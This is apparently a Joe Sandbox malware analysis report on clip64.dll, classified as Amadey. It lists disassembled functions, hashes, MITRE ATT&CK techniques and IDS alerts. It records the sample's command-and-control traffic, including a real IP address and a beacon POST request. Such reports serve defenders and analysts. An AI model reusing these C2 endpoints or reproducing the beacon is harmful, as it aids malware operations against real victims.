GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,6EB0A28B,?,?,6EB0A253,?,00000001,?), ref: 6EB0A2EE
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6EB0A301
FreeLibrary.KERNEL32(00000000,?,?,6EB0A28B,?,?,6EB0A253,?,00000001,?), ref: 6EB0A324

Strings

mscoree.dll, xrefs: 6EB0A2E7
CorExitProcess, xrefs: 6EB0A2F9

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8e077ca8ecd9df42c1f3a716ba9f09c11f9c481db67ac78dff73f2d9fea1d72d
Instruction ID: c8b04f0296b601c3dbd75376e65041e89438f24f96dc89d93e938cb31fa7a4a0
Opcode Fuzzy Hash: 8e077ca8ecd9df42c1f3a716ba9f09c11f9c481db67ac78dff73f2d9fea1d72d
Instruction Fuzzy Hash: E4F08C3492555AFBDF019B90C91ABDD7EAAEB113A6F104064E401A2254CB318A00DB90

Function 6EB0E32E Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 6EB0E346

Part of subcall function 6EB0B90F: HeapFree.KERNEL32(00000000,00000000,?,6EB0AB0E), ref: 6EB0B925
Part of subcall function 6EB0B90F: GetLastError.KERNEL32(?,?,6EB0AB0E), ref: 6EB0B937

_free.LIBCMT ref: 6EB0E358
_free.LIBCMT ref: 6EB0E36A
_free.LIBCMT ref: 6EB0E37C
_free.LIBCMT ref: 6EB0E38E

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 44633119317630c42d8073f41dd72556289c12d89db4f2dbac447e64e9f9132f
Instruction ID: 6405ef4aebb6c3534fdce12b8186345d13e07c59ed4e303549f8488d5d6a09ff
Opcode Fuzzy Hash: 44633119317630c42d8073f41dd72556289c12d89db4f2dbac447e64e9f9132f
Instruction Fuzzy Hash: CBF03C314106899F9E65DED8D5C1D8E7FDDEA003203502C05F014D7940CB20FD808AA0

Function 6EB0BAFF Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6EB0BC99

Strings

*?, xrefs: 6EB0BB42

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 19c18ddf14ce9615cfa6117e23dcf04fce62630a8d918e35b75d869d6a8ef9cd
Instruction ID: 8322ebb96110d89ad81b68f4fe8d681d23be101b7808b480fe975d713aba76e0
Opcode Fuzzy Hash: 19c18ddf14ce9615cfa6117e23dcf04fce62630a8d918e35b75d869d6a8ef9cd
Instruction Fuzzy Hash: 9A6128B5E102599FDB54CFA9C8805EDFFF9EF48314B14856AD815E7308EB31AE418B90

Function 6EB08069 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 6EB08130
___AdjustPointer.LIBCMT ref: 6EB08153
___AdjustPointer.LIBCMT ref: 6EB081EF

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 6472fd61edf39025600d8c488ac54b0b62b4a4ded221db27b78472e16715258d
Instruction ID: 48cf446b8ae69a3b641ecf52e85efd62dacb76184dc4bd69eda41a86fe4878ee
Opcode Fuzzy Hash: 6472fd61edf39025600d8c488ac54b0b62b4a4ded221db27b78472e16715258d
Instruction Fuzzy Hash: 2D51D1766546C6AFEB158F91D850BAABFA8EF08314F10453DE91297290E731FA41CB90

Function 6EB0BA13 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6EB0C035: _free.LIBCMT ref: 6EB0C043

Part of subcall function 6EB0CC09: WideCharToMultiByte.KERNEL32(?,00000000,00000000,?,00000001,6EB0D927,6EB0FBE4,0000FDE9,00000000,?,?,?,6EB0F95D,0000FDE9,00000000,?), ref: 6EB0CCB5

GetLastError.KERNEL32 ref: 6EB0BA7B
__dosmaperr.LIBCMT ref: 6EB0BA82
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 6EB0BAC1
__dosmaperr.LIBCMT ref: 6EB0BAC8

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 033588c253019a15b24df9fad9ef87796db1bb46147af6fa1d6f56f66e467291
Instruction ID: 38d4f500ecab762c4e7f9c11de9d3ac7837c3930e70385ef94fe4745baa315bb
Opcode Fuzzy Hash: 033588c253019a15b24df9fad9ef87796db1bb46147af6fa1d6f56f66e467291
Instruction Fuzzy Hash: 5D21B37161468AAF9B508FE5CCC4D9BBFACEF053687104928F82997148EB30FD008BE0

Function 6EB0B2CC Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6EB0F6A4,?,00000001,6EB0D998,?,6EB0FB5E,00000001,?,?,?,6EB0D927,?,00000000), ref: 6EB0B2D1
_free.LIBCMT ref: 6EB0B32E
_free.LIBCMT ref: 6EB0B364
SetLastError.KERNEL32(00000000,00000006,000000FF,?,6EB0FB5E,00000001,?,?,?,6EB0D927,?,00000000,00000000,6EB1CB78,0000002C,6EB0D998), ref: 6EB0B36F

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 6cad8337d20421f87bcdd6c647fb27292f61416bb187f0f18dbb41d6a6fa6bdf
Instruction ID: d55ccc961e5da6df866bbb8b12614a2b32e2f229627af84c2a0b4c7c7d65c8e6
Opcode Fuzzy Hash: 6cad8337d20421f87bcdd6c647fb27292f61416bb187f0f18dbb41d6a6fa6bdf
Instruction Fuzzy Hash: 931106326246836FEB1156F55DD6F9F2D6DEBC2778B340E28F128935D8EF21A8014520

Function 6EB10666 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EB100CA,?,00000001,?,00000001,?,6EB0F633,?,?,00000001), ref: 6EB1067D
GetLastError.KERNEL32(?,6EB100CA,?,00000001,?,00000001,?,6EB0F633,?,?,00000001,?,00000001,?,6EB0FB7F,6EB0D927), ref: 6EB10689

Part of subcall function 6EB1064F: CloseHandle.KERNEL32(FFFFFFFE,6EB10699,?,6EB100CA,?,00000001,?,00000001,?,6EB0F633,?,?,00000001,?,00000001), ref: 6EB1065F

___initconout.LIBCMT ref: 6EB10699

Part of subcall function 6EB10611: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EB10640,6EB100B7,00000001,?,6EB0F633,?,?,00000001,?), ref: 6EB10624

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EB100CA,?,00000001,?,00000001,?,6EB0F633,?,?,00000001,?), ref: 6EB106AE

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f381d830b715f7125d44cdc738104bf6ef38a15c804768859e05f913f5e2cf88
Instruction ID: 2ae8ebfb7fbac9d1dbc6beeb618525db1cc15ff4fa8006fe406542f7104e583b
Opcode Fuzzy Hash: f381d830b715f7125d44cdc738104bf6ef38a15c804768859e05f913f5e2cf88
Instruction Fuzzy Hash: 99F01C36514569FBCF625FD1CC09ACE3F66FB493B0B054414FA1986520D6328830EBA1

Function 6EB0AC4F Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6EB0AC58

Part of subcall function 6EB0B90F: HeapFree.KERNEL32(00000000,00000000,?,6EB0AB0E), ref: 6EB0B925
Part of subcall function 6EB0B90F: GetLastError.KERNEL32(?,?,6EB0AB0E), ref: 6EB0B937

_free.LIBCMT ref: 6EB0AC6B
_free.LIBCMT ref: 6EB0AC7C
_free.LIBCMT ref: 6EB0AC8D

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: ae2c53b06dfa661dfa7343fa3a8d3bd7a9725bb54d48bc33d79de083e8f4c9fe
Instruction ID: f4967f1e6670a729c4bb0f29787f153c54b7439bb93f745934e740dcd1a3cda2
Opcode Fuzzy Hash: ae2c53b06dfa661dfa7343fa3a8d3bd7a9725bb54d48bc33d79de083e8f4c9fe
Instruction Fuzzy Hash: 5EE04F71430D659E8E519F5088434D93F35FF667343250416E40463E2CC7355A62DFC8

Function 6EB0A367 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Windows\SysWOW64\rundll32.exe, xrefs: 6EB0A3AA, 6EB0A3B1, 6EB0A3E7

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID:
String ID: C:\Windows\SysWOW64\rundll32.exe
API String ID: 0-2837366778
Opcode ID: e31feb16a13bd25231d9fc255fcf9591aee7e3079d8b7b3b75c89610554b4d07
Instruction ID: d25880dd0512492b170c8bc3cfe97267c85de8967b265a3597c805efc85d7392
Opcode Fuzzy Hash: e31feb16a13bd25231d9fc255fcf9591aee7e3079d8b7b3b75c89610554b4d07
Instruction Fuzzy Hash: 9F416F75A10695AFDB12CFD9C8C59DEBFBCEF85360B244866E51497210EB70AA40CB90

Function 6EB0866A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EB0868F

Strings

MOC, xrefs: 6EB086A1
RCC, xrefs: 6EB086A9

Memory Dump Source

Source File: 00000007.00000002.3219910076.000000006EB01000.00000020.00000001.01000000.00000003.sdmp, Offset: 6EB00000, based on PE: true

Associated: 00000007.00000002.3219895075.000000006EB00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219931084.000000006EB16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219960706.000000006EB1E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000007.00000002.3219980092.000000006EB20000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6eb00000_rundll32.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 6f73c28e62782816b114691407e1bb69f3610e76d033c8904780fc1d8aba2c1f
Instruction ID: 9a5a63fd613aad8c526a5b04ed85672e00bb47c5c89a90f94b225089e02d24cb
Opcode Fuzzy Hash: 6f73c28e62782816b114691407e1bb69f3610e76d033c8904780fc1d8aba2c1f
Instruction Fuzzy Hash: 89415571900289AFCF06CFD4DC81AEEBFB6FF08304F158559EA18A6264D735AA51DB90

Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.9:49738 -> 212.193.31.8:80
Source: Network traffic	Suricata IDS: 2856151 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M7 : 192.168.2.9:49731 -> 212.193.31.8:80

Source: clip64.dll	Virustotal: Detection: 69%			Perma Link
Source: clip64.dll	ReversingLabs: Detection: 68%

Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1

Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8
Source: unknown	TCP traffic detected without corresponding DNS query: 212.193.31.8

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report clip64.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Initial Sample

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
clip64.dll

Function 6EB01EC0 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 409
networkfileCOMMON

Function 6EB031B0 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 477
COMMON

Function 6EB01ED0 Relevance: 19.6, APIs: 9, Strings: 2, Instructions: 386
networkfileCOMMON

Function 6EB06E7A Relevance: 10.6, APIs: 7, Instructions: 138
COMMONLIBRARYCODE

Function 6EB06F2C Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Function 6EB0B423 Relevance: 6.1, APIs: 4, Instructions: 69
COMMONLIBRARYCODE

Function 6EB06D73 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Function 6EB0EEAE Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Function 6EB0B8B2 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE